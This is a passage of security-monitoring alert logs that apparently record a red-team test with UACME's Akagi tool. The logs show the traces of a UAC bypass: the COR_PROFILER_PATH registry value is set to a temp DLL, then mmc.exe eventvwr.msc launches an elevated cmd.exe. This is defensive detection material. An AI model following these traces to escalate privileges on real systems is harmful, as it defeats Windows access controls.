(x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 56501 + Pid: 16092 + Tid: 18364 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:21:10.894611 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1c1ac000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808ffc3b7080, name➜ cmd.exe, pid➜ 17468, ppid➜ 16092, real_ppid➜ 16092, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:21:10.8945622 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 16092 + Ppid: 2364 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:21:36+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 57097 + Pid: 5828 + Tid: 7528 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:21:35.1082633 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5828 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 57554 + Pid: 4808 + Tid: 17864 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:21:35.8095797 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2d168d000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808005392080, name➜ cmd.exe, pid➜ 2708, ppid➜ 4808, real_ppid➜ 4808, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:21:35.8095331 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4808 + Ppid: 5828 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:21:48+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 58304 + Pid: 17100 + Tid: 14900 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:21:47.0739573 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17100 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 58752 + Pid: 14100 + Tid: 8580 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:21:47.7740425 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2c140a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800aa25080, name➜ cmd.exe, pid➜ 12100, ppid➜ 14100, real_ppid➜ 14100, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:21:47.7739853 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 14100 + Ppid: 17100 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:21:52+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 59266 + Pid: 9924 + Tid: 11056 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:21:50.57711 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, 